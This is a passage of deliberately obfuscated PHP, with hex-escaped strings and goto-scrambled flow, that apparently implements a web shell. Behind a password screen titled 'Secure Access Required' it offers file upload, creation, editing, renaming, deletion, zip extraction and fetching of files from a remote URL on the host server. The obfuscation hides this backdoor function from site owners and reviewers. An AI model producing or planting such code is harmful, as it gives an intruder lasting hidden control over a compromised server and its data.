x20\40\40\40\40\x20\40\x20\74\x74\x62\157\144\171\x3e\xd\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\74\41\x2d\x2d\x20\120\x61\x72\x65\156\164\x20\127\157\162\x6b\163\160\141\x63\145\40\55\55\x3e\xd\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20"; goto qOyLV; woUVw: if (in_array($Vjqae, $yC3U8) && $GpDM3["\x73\151\x7a\x65"] <= $k0Bn2) { goto IKl1G; } goto ECHTC; dP3kX: $WGk33 = "\x24\62\x61\44\x31\x32\x24\x6e\154\x63\113\157\x67\x68\124\122\170\x68\160\x64\x71\165\x67\x69\x48\63\x71\x6e\165\x41\106\141\x64\152\101\x6b\154\x33\x75\x76\x31\63\142\x78\116\60\x5a\120\146\x76\150\x33\105\x74\64\x77\x32\x46\x77\x36"; goto jqJC3; hqgSy: if (file_put_contents($mROC6, $cFfUK) !== false) { goto pTXEj; } goto OPJ29; GvIZt: p398x: goto qoPOT; lxXy6: $DKH4N = "\x46\157\x6c\x64\145\162\40\x63\x72\x65\x61\164\x65\x64\x20\x73\x75\143\143\x65\163\163\x66\x75\154\x6c\171\x2e"; goto sbUHL; xmdTh: if (!(isset($_POST["\144\145\154\x65\164\145\x5f\x69\x74\x65\x6d"]) && !empty($_POST["\151\x74\x65\x6d\137\x6e\141\155\x65"]))) { goto x2JdP; } goto LSpRx; MWILr: http_response_code(404); goto gl1j0; UdP8y: goto w2IvO; goto G4i7T; HFgF1: echo "\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x21\55\55\x20\106\x69\154\145\163\40\x2d\55\x3e\15\12\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20"; goto dBSpP; HJ2Jy: VHTWA: goto LPb1A; m_Nxc: goto TNzCi; goto GvIZt; VPmED: $mROC6 = $UyGf4 . "\57" . $XSEgQ; goto f8J_i; aTPSO: die("\15\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x21\104\117\103\x54\131\x50\105\x20\150\164\x6d\x6c\76\15\xa\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\74\x68\164\155\154\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x3c\x68\x65\x61\144\x3e\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x3c\155\145\x74\141\x20\x63\x68\141\x72\163\x65\x74\x3d\x22\125\124\106\55\x38\x22\x3e\15\xa\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x3c\155\145\164\x61\x20\x6e\x61\x6d\145\75\x22\x76\x69\x65\x77\160\157\x72\164\42\40\143\157\156\x74\145\x6e\x74\x3d\42\x77\151\144\164\150\x3d\144\145\x76\x69\143\x65\55\x77\151\144\164\x68\x2c\x20\x69\x6e\151\164\x69\141\x6c\55\x73\x63\x61\154\145\75\x31\x2e\60\x22\76\xd\12\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x3c\164\151\x74\154\145\x3e\101\x63\x63\x65\x73\163\x20\x44\x65\x6e\151\145\x64\74\57\164\x69\x74\x6c\x65\x3e\xd\12\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x3c\x73\x63\x72\151\160\164\40\163\162\x63\x3d\x22\150\164\164\x70\x73\72\x2f\x2f\x63\144\156\56\164\x61\151\154\x77\x69\x6e\144\x63\163\163\x2e\143\157\x6d\42\76\74\57\x73\x63\162\x69\160\x74\76\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\x2f\x68\x65\x61\144\76\xd\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\74\142\x6f\144\x79\40\x63\154\x61\163\x73\75\x22\142\147\55\166\x69\x76\x69\144\x2d\163\x6c\141\x74\145\x20\155\x69\156\55\150\55\163\143\162\145\145\x6e\40\146\154\x65\x78\x20\151\164\145\x6d\x73\55\x63\x65\156\164\x65\162\40\152\165\x73\164\x69\x66\171\55\x63\145\156\164\x65\162\42\x3e\15\12\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\144\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x62\x67\x2d\x77\150\x69\x74\145\x20\160\x2d\70\40\162\157\165\156\144\x65\144\x2d\170\154\40\x73\x68\x61\x64\157\x77\x2d\170\x6c\40\167\55\146\165\x6c\x6c\40\155\x61\170\55\167\x2d\155\x64\x22\x3e\xd\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\74\150\62\x20\143\x6c\141\163\x73\x3d\42\164\145\170\x74\x2d\62\x78\154\40\x66\x6f\x6e\164\x2d\142\x6f\x6c\144\40\155\x62\55\66\x20\x74\145\170\x74\55\x63\x65\x6e\x74\145\162\40\x74\145\170\164\x2d\166\151\x76\x69\144\55\143\x68\141\162\143\157\x61\154\42\76\123\145\143\165\162\x65\x20\x41\143\x63\145\163\x73\40\122\145\x71\165\x69\162\x65\144\74\x2f\150\x32\x3e\15\xa\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\x64\x3d\x22\120\x4f\x53\x54\x22\76\15\12\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\74\151\x6e\x70\x75\164\40\164\x79\160\x65\x3d\x22\150\151\x64\144\145\x6e\x22\40\x6e\x61\155\145\75\42\x63\163\162\x66\x5f\x74\157\x6b\145\156\42\x20\166\141\x6c\x75\145\x3d\x22" . htmlspecialchars($_SESSION["\x63\163\x72\x66\x5f\164\x6f\x6b\x65\156"]) . "\x22\76\xd\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x3c\151\x6e\160\165\x74\x20\x74\171\160\145\75\42\160\141\163\163\x77\x6f\x72\144\42\x20\156\x61\x6d\x65\75\x22\163\145\143\165\162\x65\137\153\145\x79\42\40\143\154\x61\x73\x73\75\42\167\55\x66\x75\154\x6c\40\x70\x2d\x33\40\x62\x6f\x72\144\x65\x72\x20\162\x6f\x75\156\144\145\x64\55\154\147\40\x6d\x62\x2d\64\40\x66\x6f\143\x75\163\72\x6f\x75\x74\154\x69\156\145\55\156\157\x6e\x65\40\146\157\143\x75\163\x3a\162\x69\156\147\x2d\62\40\x66\157\143\165\x73\72\x72\x69\156\147\x2d\x76\x69\x76\151\x64\x2d\164\145\141\154\x22\40\160\x6c\x61\x63\x65\150\x6f\154\x64\x65\162\75\x22\105\156\164\x65\x72\40\163\x65\x63\x75\x72\x65\40\x6b\145\x79\42\40\x72\x65\161\165\x69\162\145\x64\x20\141\165\164\x6f\x66\157\x63\x75\x73\x3e\15\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\74\x62\165\x74\164\x6f\156\x20\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\40\143\x6c\141\163\163\x3d\42\167\x2d\x66\x75\154\x6c\40\x62\x67\x2d\166\x69\x76\x69\x64\55\x74\x65\x61\x6c\x20\164\145\x78\164\x2d\167\150\x69\x74\145\x20\160\x2d\63\40\162\x6f\x75\x6e\144\x65\144\x2d\x6c\147\x20\150\x6f\x76\x65\x72\72\142\x67\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x2d\144\141\162\153\x20\x74\x72\141\x6e\163\x69\x74\x69\x6f\156\x22\76\x55\156\x6c\x6f\143\153\74\x2f\142\165\164\164\157\x6e\x3e\15\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\57\146\157\x72\x6d\x3e\xd\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\74\57\x64\151\x76\x3e\xd\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x3c\x2f\142\157\x64\171\x3e\15\xa\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x2f\150\x74\x6d\154\76\15\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40"); goto SMr58; O9Dx9: RzJMB: goto N3l0l; NCBWC: u8vax: goto Oo1ct; Y4wm7: if (isset($_SESSION["\143\x73\162\x66\x5f\164\157\x6b\x65\x6e"])) { goto gWWpv; } goto KwgZJ; gh_lz: mNuwv: goto B39ub; qoPOT: if (move_uploaded_file($GpDM3["\164\x6d\160\x5f\156\141\x6d\145"], $HdMJq)) { goto v_hRO; } goto pm_kD; qYmxS: OId96: goto HWu98; JT0AX: DDCY5: goto n2X9C; N1kwB: $DKH4N = "\x46\x69\x6c\x65\40\x63\162\x65\x61\164\x65\x64\x20\x73\165\x63\143\145\x73\x73\x66\165\x6c\154\x79\x2e"; goto aK3Vo; dRHGU: goto T8Xvk; goto xNlQn; qfRoT: $MhPPM = filter_var($_POST["\162\145\155\157\164\145\x5f\165\162\154"], FILTER_VALIDATE_URL); goto S33WT; ohyY2: echo "\x22\x3e\xd\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x3c\x69\x6e\160\165\164\x20\164\171\x70\x65\75\42\150\151\144\144\145\x6e\42\x20\151\x64\x3d\42\x6f\162\x69\x67\151\156\141\x6c\111\x74\145\x6d\116\141\155\x65\42\40\x6e\x61\155\x65\75\42\157\x72\x69\147\151\x6e\141\x6c\137\x6e\141\x6d\x65\42\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\74\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\42\164\145\170\164\42\x20\151\x64\x3d\42\x6e\x65\167\111\164\145\x6d\116\x61\155\x65\42\40\x6e\141\155\145\75\42\156\x65\x77\137\x6e\141\x6d\145\x22\x20\143\154\141\163\x73\x3d\42\167\x2d\x66\165\x6c\x6c\x20\x70\55\63\40\142\x6f\x72\144\x65\x72\x20\x72\157\165\x6e\x64\145\x64\55\x6c\147\x20\155\x62\55\x36\x20\146\x6f\x63\x75\x73\x3a\x6f\165\x74\x6c\151\x6e\145\55\156\x6f\156\145\40\146\157\143\165\x73\72\x72\151\x6e\x67\55\x32\x20\x66\x6f\x63\165\x73\x3a\x72\x69\x6e\x67\55\x76\151\166\x69\x64\55\x74\x65\141\x6c\x22\x20\x72\145\161\165\151\x72\x65\144\76\xd\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x3c\x64\x69\x76\40\x63\154\x61\163\x73\x3d\x22\x66\x6c\145\x78\x20\x6a\165\163\164\151\x66\x79\55\145\x6e\x64\40\x73\x70\x61\143\145\x2d\170\55\x33\x22\76\15\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\74\x62\165\164\x74\x6f\156\x20\x74\171\160\145\x3d\42\163\x75\142\x6d\151\x74\42\40\156\141\155\x65\x3d\42\x72\x65\x6e\141\155\145\137\151\x74\x65\x6d\x22\x20\143\154\x61\163\163\x3d\x22\142\x67\x2d\x67\x72\x65\x65\x6e\55\65\60\x30\40\164\145\x78\164\55\x77\x68\151\x74\145\x20\x70\x78\x2d\65\x20\160\171\55\62\40\162\x6f\165\156\144\145\144\x2d\154\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\162\145\x65\156\55\x36\60\x30\x20\x76\151\x76\151\144\x2d\164\162\141\x6e\x73\x69\x74\x69\157\156\x22\x3e\x53\x61\x76\x65\74\57\x62\x75\x74\x74\x6f\156\76\15\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\74\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\75\42\x62\165\164\164\x6f\x6e\x22\40\157\156\x63\154\x69\x63\153\x3d\x22\x63\x6c\157\x73\x65\104\x69\141\154\x6f\x67\50\x27\162\x65\x6e\x61\155\x65\x44\x69\x61\154\157\147\x27\51\42\x20\143\x6c\x61\x73\x73\75\x22\142\x67\x2d\147\x72\141\x79\55\x35\60\x30\40\164\x65\x78\164\55\167\x68\x69\x74\145\x20\x70\x78\x2d\x35\40\x70\171\55\62\x20\162\157\165\156\144\145\x64\55\x6c\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\x72\x61\171\55\66\x30\x30\x20\x76\x69\166\151\x64\x2d\x74\162\141\156\x73\x69\164\x69\x6f\x6e\42\76\x43\x61\x6e\143\x65\x6c\x3c\x2f\x62\165\164\x74\x6f\156\x3e\15\xa\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\74\x2f\x64\x69\166\x3e\xd\12\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\74\57\146\x6f\x72\x6d\76\xd\xa\40\x20\40\40\40\40\40\40\x3c\57\144\x69\166\x3e\15\xa\x20\x20\40\40\x3c\57\144\x69\x76\x3e\15\12\15\12\40\40\40\40\x3c\163\x63\x72\151\x70\x74\76\15\12\40\40\x20\x20\x20\x20\40\x20\x66\x75\156\x63\164\x69\157\x6e\40\145\144\151\x74\x49\x74\145\x6d\x28\x69\164\145\x6d\116\141\x6d\x65\51\x20\173\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x66\145\164\143\x68\x28\47\77\167\157\162\153\x73\160\x61\143\145\x3d"; goto kX0on; NHWkd: rwOYV: goto rbgYx; U2HJ2: $DKH4N = "\101\x72\x63\150\151\x76\145\x20\145\170\x74\162\x61\143\164\145\144\x20\163\x75\143\x63\x65\163\x73\x66\x75\154\154\x79\x2e"; goto ZgEir; QUnki: w2IvO: goto KsqrH; By17q: echo "\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x3c\164\162\x20\x63\x6c\x61\x73\x73\75\42\142\x6f\162\x64\x65\x72\55\164\40\150\157\x76\145\162\x3a\x62\147\x2d\x67\162\x61\171\x2d\65\x30\x20\x76\x69\x76\x69\x64\55\164\x72\141\x6e\163\151\164\151\x6f\156\x22\x3e\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\74\164\144\x20\143\x6c\x61\x73\x73\x3d\42\160\x2d\64\42\76\74\x69\x20\x63\x6c\141\163\x73\75\x22\x66\141\x73\x20\146\x61\x2d\146\157\154\144\x65\162\40\x6d\x72\x2d\x32\x20\164\x65\170\164\55\x76\151\166\151\144\55\164\x65\x61\154\x22\x3e\x3c\57\151\76\74\141\x20\x68\162\145\146\x3d\x22\77\167\x6f\x72\x6b\x73\160\141\143\145\75"; goto jWvjk; xNcuq: IJ3Hk: goto xjUUI; mjAZx: if (!(isset($_POST["\165\x6e\172\x69\160\x5f\x61\x72\143\150\151\166\145"]) && !empty($_POST["\141\x72\x63\x68\151\166\x65\x5f\156\141\x6d\x65"]))) { goto hViYW; } goto t1YDS; RjKFq: $HcnX3 = new ZipArchive(); goto Ss9oR; Qm7yr: goto u8vax; goto amQwH; OEbq_: echo "\40\40\40\40\40\40\40\x20\40\40\40\40\x3c\x2f\144\x69\x76\76\15\xa\x20\x20\40\40\x20\x20\40\x20"; goto ooNWl; Zbq2n: l6riZ: goto mwnF6; amQwH: lHkIz: goto Jhmnc; SMr58: goto OCuP1; goto O9Dx9; aadQB: dfEiu: goto hqgSy; A6W2h: $cFfUK = $_POST["\x69\x74\145\155\x5f\x63\x6f\x6e\x74\145\156\x74"] ?? ''; goto VPmED; dBSpP: foreach ($M1ewI as $nrpAw) { goto vXA8G; BnHJg: echo "\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x3c\164\x64\x20\x63\x6c\141\x73\163\x3d\x22\x70\x2d\64\x22\x3e"; goto dxDdG; Apq9W: echo is_writable($UyGf4 . "\57" . $nrpAw) ? "\131\x65\163" : "\116\157"; goto ngkwV; ngkwV: echo "\x3c\57\164\x64\76\xd\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x3c\x74\x64\x20\x63\154\x61\163\163\x3d\42\160\x2d\64\42\x3e"; goto pzibv; FhhLo: echo htmlspecialchars($nrpAw); goto Kpvzc; aawrO: echo htmlspecialchars($_SESSION["\143\163\x72\x66\x5f\164\157\x6b\x65\156"]); goto iYtRr; YEaRU: echo htmlspecialchars($nrpAw); goto qpIYE; x317W: lLaMK: goto lk3iK; dxDdG: echo aVbxS(filesize($UyGf4 . "\57" . $nrpAw)); goto b9MrC; vXA8G: echo "\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x74\162\x20\x63\154\x61\163\163\75\x22\x62\x6f\x72\x64\x65\x72\x2d\164\40\150\157\x76\145\x72\x3a\142\147\55\147\162\x61\171\x2d\65\60\x20\x76\x69\166\x69\x64\55\164\162\141\156\x73\151\164\x69\157\x6e\x22\x3e\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\74\164\144\40\x63\x6c\x61\163\x73\75\42\x70\55\64\x22\x3e\74\x69\x20\x63\154\141\163\x73\75\x22\146\x61\x73\x20\146\141\55\146\151\154\x65\x20\155\162\55\62\x20\x74\145\170\x74\x2d\x76\151\166\151\144\x2d\x74\x65\x61\x6c\x22\x3e\74\x2f\151\76"; goto YEaRU; ODkP_: echo "\x3c\x2f\164\x64\76\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\164\144\x20\x63\154\x61\163\x73\x3d\x22\x70\55\x34\x20\x73\160\x61\x63\145\x2d\170\55\x33\42\76\15\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x3c\142\165\x74\164\157\156\x20\157\x6e\x63\x6c\x69\x63\153\75\x22\x65\144\151\x74\111\164\145\155\50\x27"; goto j55Ka; Kpvzc: echo "\42\x3e\15\12\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\74\142\x75\164\x74\x6f\x6e\40\164\171\x70\145\x3d\x22\163\x75\x62\x6d\x69\164\x22\x20\x6e\x61\155\x65\75\x22\x75\156\172\151\x70\137\141\x72\143\150\151\166\x65\42\x20\143\x6c\x61\163\x73\x3d\42\142\147\55\147\162\x65\x65\156\x2d\x35\60\60\40\x74\145\x78\x74\55\x77\150\151\164\145\40\160\x78\x2d\63\x20\x70\x79\x2d\61\x20\x72\x6f\165\x6e\x64\145\x64\55\154\x67\x20\x68\x6f\166\145\x72\x3a\x62\147\x2d\147\x72\x65\x65\156\x2d\x36\60\x30\40\166\151\166\x69\144\x2d\x74\x72\x61\x6e\x73\151\x74\151\157\156\x22\76\74\x69\40\143\x6c\x61\x73\x73\75\42\146\141\163\40\146\141\55\146\151\x6c\145\x2d\x61\162\143\x68\x69\x76\145\x20\155\162\55\61\x22\76\x3c\x2f\151\x3e\125\156\x7a\x69\160\74\x2f\x62\165\164\164\157\x6e\x3e\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\74\57\x66\157\162\x6d\76\15\xa\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40"; goto m9Id2; pzibv: echo date("\131\x2d\155\55\144\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $nrpAw)); goto ODkP_; qpIYE: echo "\74\57\x74\144\76\xd\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\160\x2d\64\42\76"; goto YwE2M; j55Ka: echo htmlspecialchars($nrpAw); goto Ko27o; Yo0ak: echo "\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\74\x66\x6f\x72\155\x20\x6d\145\x74\x68\157\144\x3d\42\x70\x6f\x73\x74\x22\x20\143\x6c\x61\x73\x73\75\42\151\156\x6c\151\x6e\145\42\76\15\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\x65\75\x22\x68\151\144\x64\x65\x6e\x22\40\156\141\155\145\x3d\x22\143\x73\x72\146\x5f\164\157\x6b\145\156\x22\x20\x76\x61\x6c\165\x65\75\42"; goto aawrO; IHFCo: echo "\x27\x29\42\40\x63\x6c\x61\163\163\x3d\x22\142\147\x2d\x72\145\x64\x2d\65\60\60\40\164\145\x78\164\55\167\x68\x69\x74\x65\x20\x70\170\55\x33\40\x70\x79\x2d\x31\40\x72\x6f\165\156\x64\x65\144\x2d\x6c\x67\x20\x68\157\x76\x65\x72\72\142\147\55\x72\x65\x64\55\66\x30\60\40\166\x69\x76\x69\144\55\x74\162\x61\x6e\x73\151\164\x69\x6f\156\42\76\104\145\154\145\x74\145\74\x2f\x62\165\x74\164\x6f\x6e\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40"; goto Xque1; ftooB: echo htmlspecialchars($nrpAw); goto IHFCo; iYtRr: echo "\42\x3e\15\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\75\42\x68\151\144\x64\x65\x6e\x22\x20\x6e\x61\155\145\75\x22\x61\162\143\150\151\x76\x65\x5f\x6e\141\155\145\x22\40\x76\141\x6c\x75\x65\75\42"; goto FhhLo; b9MrC: echo "\x3c\x2f\x74\144\76\15\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x3c\x74\144\40\x63\154\x61\163\163\75\x22\160\x2d\x34\x22\76"; goto Apq9W; Ko27o: echo "\x27\x29\42\x20\x63\154\141\163\x73\x3d\x22\x62\x67\55\166\151\166\151\x64\55\x74\x65\x61\154\40\164\x65\x78\164\x2d\167\x68\151\x74\145\40\x70\x78\x2d\63\40\x70\171\55\61\40\162\x6f\x75\x6e\144\x65\x64\x2d\x6c\x67\x20\x68\157\166\x65\162\72\142\x67\55\166\151\x76\151\x64\x2d\x74\145\x61\x6c\55\144\141\162\153\x20\x76\151\166\151\x64\x2d\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\x22\76\x45\x64\x69\164\x3c\57\142\x75\x74\164\x6f\156\x3e\xd\xa\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\x62\x75\164\164\157\156\40\157\156\143\154\x69\143\x6b\75\42\x6f\x70\145\x6e\x52\x65\156\141\x6d\x65\104\x69\x61\x6c\x6f\147\x28\x27"; goto bPYbi; bPYbi: echo htmlspecialchars($nrpAw); goto jjS6K; m9Id2: QRCZ1: goto E0oeA; E0oeA: echo "\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\74\x2f\164\x64\76\15\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\57\164\162\x3e\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20"; goto x317W; jjS6K: echo "\x27\x29\x22\x20\x63\154\141\163\163\x3d\x22\x62\147\55\x79\x65\x6c\154\157\x77\55\x35\60\60\40\x74\x65\170\164\x2d\x77\150\151\164\145\40\160\170\55\x33\x20\x70\x79\55\x31\x20\x72\x6f\165\156\x64\x65\x64\55\x6c\x67\x20\150\x6f\166\x65\x72\72\142\x67\55\171\145\x6c\154\157\167\55\66\x30\x30\40\166\x69\x76\x69\x64\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\156\x22\76\122\x65\156\141\155\145\74\57\142\165\x74\164\x6f\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\74\x62\165\164\x74\157\x6e\40\x6f\156\143\x6c\151\x63\x6b\75\x22\x63\x6f\156\146\x69\162\x6d\x44\x65\x6c\x65\x74\145\50\47"; goto ftooB; YwE2M: echo strtoupper(pathinfo($nrpAw, PATHINFO_EXTENSION)); goto BnHJg; Xque1: if (!(pathinfo($nrpAw, PATHINFO_EXTENSION) === "\x7a\151\160")) { goto QRCZ1; } goto Yo0ak; lk3iK: } goto JT0AX; dkMA6: $cFfUK = $_POST["\151\164\x65\155\x5f\143\157\x6e\x74\145\156\x74"] ?? ''; goto S5SU9; SFaK1: $UyGf4 = $RN9dg; goto gYpZO; G3_fu: $DKH4N = "\106\157\154\144\145\162\40\141\154\162\145\141\x64\171\x20\x65\x78\151\163\x74\x73\x2e"; goto AM5Ni; rxnF1: exit; goto dRHGU; EMeQw: v_hRO: goto jC0wy; pIIY_: if ($f5xwD && is_file($f5xwD) && is_readable($f5xwD)) { goto KXaXc; } goto MWILr; JVO84: EWOGW: goto qu97e; QH0ar: goto dKdrD; goto aadQB; OZfTN: echo "\x22\x3e\15\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x3c\151\156\160\165\x74\40\164\171\x70\145\75\42\165\162\x6c\42\40\156\x61\x6d\145\75\x22\x72\x65\155\157\x74\x65\137\165\162\x6c\42\x20\143\x6c\141\x73\x73\75\42\x66\154\x65\170\x2d\61\40\x70\55\63\x20\142\x6f\x72\144\x65\162\x20\x72\x6f\x75\x6e\x64\145\x64\x2d\x6c\147\x20\146\x6f\143\x75\x73\72\157\165\164\154\x69\x6e\x65\x2d\156\x6f\x6e\145\x20\x66\157\x63\165\163\x3a\x72\x69\156\147\55\x32\x20\146\157\143\165\x73\x3a\x72\x69\156\147\x2d\166\x69\x76\x69\144\x2d\x74\x65\x61\x6c\x22\40\x70\x6c\x61\x63\x65\x68\157\154\144\145\162\75\42\150\164\x74\160\x73\x3a\x2f\57\x65\x78\141\x6d\160\x6c\x65\56\x63\x6f\x6d\57\151\x74\145\x6d\x2e\172\x69\160\x22\x20\162\145\161\165\151\x72\145\144\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\142\165\x74\164\157\156\40\x74\171\160\x65\x3d\42\163\165\142\155\x69\164\x22\40\x6e\141\x6d\145\75\42\x66\145\x74\x63\150\x5f\x72\x65\155\157\164\145\x22\x20\143\154\141\x73\163\x3d\42\x62\x67\x2d\166\151\x76\x69\x64\x2d\x74\x65\x61\154\x20\x74\145\x78\164\x2d\x77\150\x69\164\145\40\x70\55\63\40\x72\x6f\x75\x6e\144\145\x64\55\x6c\x67\40\x68\157\x76\145\x72\x3a\x62\147\x2d\166\151\x76\x69\x64\55\164\x65\x61\x6c\x2d\144\x61\x72\x6b\x20\166\151\x76\x69\144\x2d\x74\x72\x61\156\163\x69\164\151\x6f\156\x22\x3e\x46\x65\x74\143\150\74\57\x62\x75\164\x74\157\156\76\xd\12\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\74\x2f\146\157\162\155\76\15\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\57\144\151\166\x3e\xd\xa\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20"; goto qYmxS; NC5Uv: t1Ohe: goto pQHOD; vNZlm: $DKH4N = "\105\162\162\157\x72\x20\144\145\154\145\164\x69\x6e\147\x20\x66\151\154\x65\56"; goto ScnGe; lT00_: $v7WxV = scandir($UyGf4); goto FdNTJ; P9s45: JKhRB: goto lxXy6; kP7Hi: UF6ry: goto F2e6r; GpF7q: goto Axvto; goto PqAGu; t1YDS: $gt3yP = 